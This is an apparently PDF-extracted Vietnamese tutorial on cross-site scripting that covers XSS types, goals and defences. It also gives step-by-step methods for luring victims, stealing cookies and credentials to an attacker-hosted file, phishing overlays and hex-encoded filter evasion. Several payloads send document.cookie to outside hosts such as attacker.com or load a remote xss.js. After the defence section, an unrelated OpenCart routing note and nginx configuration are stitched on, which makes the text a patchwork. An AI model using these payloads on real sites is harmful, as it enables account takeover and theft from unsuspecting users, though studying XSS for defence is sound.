Các hình thức tồn tại của XSS - Stored XSS: o Cho phép kẻ tấn công chèn một đoạn script Javascript vào website thông qua một chức năng nào đó vd: cmt, guestbook, gởi bài.., khi các thành
Trang 1I Giới thiệu chung
- Website ngày nay thường là các web động dùng Cookie để xác thực người dùng
- lấy Cookie người dùng giả mạo được chính người dùng đó
- 1 trong các cách là dùng lỗi Cross Site Scripting(XSS)
- XSS được thực hiện trên các thẻ JavaScript
o 1 Thay đổi cấu trúc của toàn bộ trang web
o 2 Tạo tùy ý các phần tử HTML
o 3 Định tuyến lại các hình thức liên kết
o 4 Phục hồi dữ liệu, xác thực
o 5 Gửi và nhận dữ liệu
o 6 Đọc các tổ hợp phím
II Giới thiệu về XSS
1 Tìm hiểu
- XSS (Cross-Site Scripting) chèn vào các web động những thẻ HTML hay những mã script có khả năng đánh cắp hay thiết lập được những thông tin quan trọng (cookies, mật khẩu, usename…)
- Các đoạn mã thường được viết bằng các Client-Site Script như JavaScript, JScript, DHTML, HTML
- Không nhằm vào server
- chủ yếu tấn công vào client (user) (kiến thức kém, tò mò, an ninh lỏng lẻo)
- dụ nạn nhân click vào các url kích hoạt mã độc
2 Các hình thức tồn tại của XSS
- Stored XSS:
o Cho phép kẻ tấn công chèn một đoạn script (Javascript) vào website thông qua một chức năng nào đó (vd: cmt, guestbook, gởi bài ), khi các thành viên khác truy cập website sẽ bị dính mã độc từ kẻ tấn công này
o Các mã độc này thường được lưu lại trong database của website nên gọi là Stored
o Phát sinh do không lọc dữ liệu do thành viên gởi lên một cách đúng đắn
o Gây hậu quả nặng nề
o Ví dụ: Khi đăng ký thành viên, phần giới thiêu về bản thân, nếu hacker nhập vào mã XSS và website không kiểm tra kỹ dữ liệu đầu vào, thì mỗi khi truy cập trang thành viên của hacker đó, bạn sẽ bị khai thác
Trang 2- Reflected XSS (Non-persistent)
o Loại này xuất hiện khi dữ liệu được cung cấp từ một web client nào đó
o đầu tiên là sẽ phải tìm ra lỗ hổng bảo mật trên website bằng cách gắn một đoạn
mã test vào web client để web client gửi đến server và chờ phản hồi của web server để tìm ra lỗ hổng bảo mật
o Xảy ra do không chú ý filter input (lọc sữ liệu đầu vào) từ URL của website
- XSS là tấn công nguy hiểm, một trong những lỗi phổ biến
3 Mức độ nguy hiểm của XSS
4 Mục tiêu mà XSS hướng tới
- Truy cập thông tin nhạy cảm hoặc bị hạn chế
- Ăn cắp tiền (giao dịch ngân hàng, mua hàng online….)
Trang 3- Theo dõi thói quen lướt web của người dùng
- Thay đổi năng của trình duyệt
- Bôi nhọ danh tiếng của một cá nhân hay công ty
- Hủy hoại ứng dụng Web
- Tấn công từ chối dịch vụ
III Hoạt động của XSS
- Cho phép chèn các đoạn mã vào link của đường dẫn, để thực thi trên trình duyệt của người dùng Thường thì XSS có dạng như sau:
http://www.xxx.vn//index.php?pg=news&cat=<script>alert(“Lỗi XSS”)</script>
Và nội dung xuất hiện trên trình duyệt là một cái popup có thông tin là: “Lỗi XSS”
- Có rất nhiều cách để thêm đoạn mã JavaScript
- Dễ dàng lợi dụng Document Object Model (DOM) để thay đổi ngữ cảnh và nội dụng Web ứng dụng
- Danh sách nơi có thể chèn đoạn mã
Trang 4- XSS là những Client-Side Script, chỉ chạy bởi trình duyệt phía client XSS không làm ảnh hưởng đến hệ thống website nằm trên server
IV Kiểm tra lỗi XSS
- Nếu dùng các web với source có sẵn, tham khảo danh sách các lỗ hổng trên các trang web chứa các thông tin về bảo mật như securityfocus.com, securiteam.com
- Nếu dùng web tự phát triển dùng tool scanner ()
1 Dùng tool scanner (N-Stealth hay AppScan, screamingCSS)
2 Thử bằng code
V Khai thác lỗi XSS
1 Các bước thực hiện
- Bước 1: biết được user đang sử dụng một ứng dụng Web có lỗ hổng XSS
- Bước 2: gửi 1 link cho user, dụ user click vào
- Bước 3: Chuyển nội dung thông tin (cookie, tên, mật khẩu…) về máy chủ của hacker
- Bước 4: tạo một chương trình cgi hoặc một trang Web để ghi nhận những thông tin
đã đánh cắp vào 1 tập tin
- Bước 5: Sau khi nhận được thông tin cần thiết, hacker có thể sử dụng để thâm nhập vào tài khoản của người dùng
2 Các cách thực hiện
a Nghiên cứu cách lấy cookies
Thứ nhất: tạo một file info.txt và upload lên host
Thứ hai: Tạo file cookie.asp hoặc cookie.php có nội dung sau và upload file này lên host
Trang 5Thứ ba: Trên những phần trả lời hay góp ý trên diễn đàn hoặc email hoặc website (bị lỗi XSS), để lại một link có lời giới thiệu hay thông báo gây chú ý (có hostname
là của trang web bị nhiễm XSS) dạng như sau:
http://hostxss.com/search.cgi?query=<script>alert(document.cookie)</script>
or http://hostxss.com/search.cgi?%71%75 72%69%70%74%3E (đã được mã hóa)
b Nghiên cứu cách lấy account
Thứ nhất: tạo một file info.txt và upload lên host
Thứ hai: Tạo thêm một file xss.js và cũng upload file này lên host File này là để tạo
ra một facesite (trang web giả giống trang web thật) để khi người dùng nhập username và password thì chúng ta sẽ điều hướng và lưu thông tin trên file info.txt
Thứ ba: để một link có lời giới thiệu hay thông báo gây chú ý (có hostname là của trang web bị nhiễm XSS) Khi đó tạo một link dạng như sau và gửi mail hay up link lên trang web có nhiễm XSS: (sau hostname ta thêm thẻ Script vào)
http://hostxss.com/search.php?s="><script src%3Dhttp%3A%2F%2Fjsngoc.vnn.ms
%2Fxss.js><%2Fscript>
Khi đó bên phía người dùng sẽ có một trang web giả mạo (facesite): Người dùng không phát hiện ra và khi đăng nhập thì cookie hay usename và password sẽ được lưu lại trong file info.txt trên server của hacker
c Tấn Công XSS Bằng Flash
Trang 6- Macromedia Flash cho phép lập trình bằng một ngôn ngữ được xây dụng sẵn trong Flash là ActionScript ActionScript có cú pháp đơn giản và tương tự JavaScript, C
- Ví dụ hàm getURL() dùng để gọi một trang web khác, tham số thường là một URL chẳng hạn như: getURL(“http://www.yahoo.com”)
Tuy nhiên có thể thay thế URL bằng JavaScript:
getURL(“javascript:alert(document.cookie)”)
- Ví dụ trên sẽ làm xuất hiện bảng thông báo chứa cookie của trang web chứa tập tin flash đó Như vậy là trang web đó đã bị tấn công, bằng cách chèn một đoạn JavaScript vào ứng dụng Web thông qua tập tin flash
- Một ví dụ khác rõ hơn về cách tấn công này là: Đây là đoạn lệnh trong tập tin flash
và sẽ được thi hành khi tập tin flash được đọc:
getURL(“javascript:location(„http://www.attacker.com?newcookie=‟+do
cument.cookie)”)
Như vậy là khi người dùng xem trang web chứa tập tin flash này thì ngay lập tức cookie của họ do trang web chứa tập tin flash đó tạo ra sẽ gửi về cho hacker
- Cách viết Action Scipt trong Flash
- Ngoài ra các trang web cho phép thành viên gửi dữ liệu dạng HTML như diễn đàn, các chức năng tạo chữ kí riêng, … cũng có thể là mục tiêu của cách tấn công này, bằng cách nhập đoạn mã gọi tập tin flash vào
3 dùng XSS để lừa đảo
- Ngoài việc lấy cookies, các attacker còn có thể hướng trình duyệt của người dùng đến trang web mà Attacker thiết kế sẵn
- Sau khi attacker đã có thông tin về lỗi XSS, họ có thể dùng IFRAME, code như sau
- đoạn này dùng để mở 1 trang web mà người không biết
Trang 7- Ngoài ra, hoàn toàn có thể dùng hàm open, close window để chuyển hướng web sang một trang web khác
- Còn 1 cách hay hơn: Dùng hàm write In ra một thẻ div đặt độ rộng là 1024, cao
800 Possion : absulitly, left=0, top=0 Như vậy là cái div vừa tạo sẽ che toàn bộ màn hình, thế là người dùng đã vào trang lừa đảo của các attacker!
- Attacker có thể lợi dụng lỗi này để fishing trên các Hệ thống thanh toán, game, shopping, Ngân hàng, Tín dụng hoặc là chèn virus!
4 Cách vượt cơ chế lọc kí tự
Nhiều coder khôn khéo lọc hết các kỹ tự đặc biệt như ' hay + để tránh các việc chèn lệnh trên URL để tấn công SQL hay XSS, nhưng ta có thể dễ dàng giải quyết việc này bằng cách sử dụng mã hóa HEX thay thế để khai thác
http://www.sitebiXSS.com/a.php?variable=%22%3e%3c
%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f
%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e
%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f
%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f
%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c
%2f%73%63%72 %69%70%74%3e
link site chuyển đổi sang số HEX:
http://www.swingnote.com/tools/txt2hex.php hoặc http://ha.ckers.org/xss.html
VI Phòng chống XSS
Một tấn công XSS chỉ thực hiện được khi gửi một trang web cho trình duyệt web của nạn nhân có kèm theo mã script độc của kẻ tấn công
1 Với người phát triển web
- Chỉ chấp nhận những dữ liệu hợp lệ
- Từ chối nhận các dữ liệu hỏng
- Liên tục kiểm tra và thanh lọc dữ liệu
- Tạo ra danh sách những thẻ HTML được phép sử dụng, xóa bỏ thẻ <script> hoặc đóng các thẻ Script trong thẻ <comment> coi đoạn Script đó như là một đoạn trích dẫn
- Lọc ra bất kì một đoạn mã JavaScript/Java/VBScript/ActiveX/Flash Related
- Lọc dấu nháy đơn hay kép
- Lọc kí tự Null
- Xóa những kí tự “ > ”, “ < ” hoặc Output Encoding các dòng như sau
- < < > >
Trang 8- ( ( ) )
- # # & &
- Vẫn cho phép nhập những kí tự đặc biệt nhưng sẽ được mã hóa theo chuẩn riêng
- Đảm bảo Web server mã hóa (encoding) những trang phát sinh thích hợp để ngăn chạy chạy các script không mong muốn
- Một số trường hợp tùy loại dữ liệu có một bộ lọc phù hợp
- Một trong những cách hay sử dụng là bạn mã hoá các kí tự đặc biệt trước khi in ra website, nhất là những gì có thể gây nguy hiểm cho người sử dụng
2 Với người dùng
- Dùng Firefox: Có thể cài thêm tiện ích(Add-on Firefox) YesScript
- Dùng IE: vào Options/Setting /… Disable Script
- Tương tự với Google Chrome và các trình duyệt khác
- Cảnh giác với các link (web browser, email)
opencart có 2 loại route là route cho home/account và route cho seo, tương ứng với hai route sau:
index.php?route=$1
index.php?_route_=$1
# You may add here your
# server {
# .
# }
# statements for each of your virtual hosts to this file
##
# You should look at the following URL's in order to grasp a solid understanding
# of Nginx configuration files in order to fully unleash the power of Nginx.
# http://wiki.nginx.org/Pitfalls
# http://wiki.nginx.org/QuickStart
# http://wiki.nginx.org/Configuration
#
# Generally, you will want to move this file somewhere, and start with a clean
# file but keep this around for reference Or just disable in sites-enabled.
#
# Please see /usr/share/doc/nginx-doc/examples/ for more detailed examples.
##
Trang 9server {
listen 80 default_server;
#listen [::]:80 default_server ipv6only=on;
root /home/severus/opencart;
index index.php index.html index.htm;
# Make site accessible from http://localhost/
server_name localhost;
location / {
# First attempt to serve request as file, then
# as directory, then fall back to displaying a 404.
try_files $uri $uri/ /index.php; #$is_args$args;
# Uncomment to enable naxsi on this location
#include /etc/nginx/naxsi.rules;
location /account {
if (!-e $request_filename) {
rewrite ^/account/(.*)$ /index.php?route=account/$1;
}
}
location /checkout {
if (!-e $request_filename) {
rewrite ^/checkout/(.*)$ /index.php?route=checkout/$1;
}
}
location /information {
if (!-e $request_filename) {
rewrite ^/information/(.*)$ /index.php?route=information/$1;
}
}
location /product/special {
if (!-e $request_filename) {
rewrite ^/product/special /index.php?route=product/special;
}
Trang 10}
location /product/manufacturer {
if (!-e $request_filename) {
rewrite ^/product/manufacturer /index.php?route=product/manufacturer;
}
}
location /common/home {
rewrite ^ http://domain.com;
}
if (!-e $request_filename) {
rewrite ^/(.*)$ /index.php?_route_=$1;
}
}
# Only for nginx-naxsi used with nginx-naxsi-ui : process denied requests
#location /RequestDenied {
# proxy_pass http://127.0.0.1:8080;
#}
#error_page 404 /404.html;
# redirect server error pages to the static page /50x.html
#
error_page 403 404 500 502 503 504 /50x.html;
location = /50x.html {
root /usr/share/nginx/html;
}
# pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
#
location ~ (config\.php|php\.ini) {
return 444;
}
location ~ \.php$ {
fastcgi_split_path_info ^(.+\.php)(/.+)$;
Trang 11# # NOTE: You should have "cgi.fix_pathinfo = 0;" in php.ini
#
# # With php5-cgi alone:
fastcgi_pass 127.0.0.1:9001;
# # With php5-fpm:
# fastcgi_pass unix:/var/run/php5-fpm.sock;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
#
#server {
# listen 8000;
# listen somename:8080;
# server_name somename alias another.alias;
# root html;
# index index.html index.htm;
#
# location / {
# try_files $uri $uri/ =404;
# }
#}
# HTTPS server
#
#server {
# listen 443;
# server_name localhost;
#
# root html;
# index index.html index.htm;
#
# ssl on;
# ssl_certificate cert.pem;
# ssl_certificate_key cert.key;
#
# ssl_session_timeout 5m;
#
Trang 12# ssl_protocols SSLv3 TLSv1 TLSv1.1 TLSv1.2;
# ssl_ciphers "HIGH:!aNULL:!MD5 or HIGH:!aNULL:!MD5:!3DES";
# ssl_prefer_server_ciphers on;
#
# location / {
# try_files $uri $uri/ =404;
# }
#}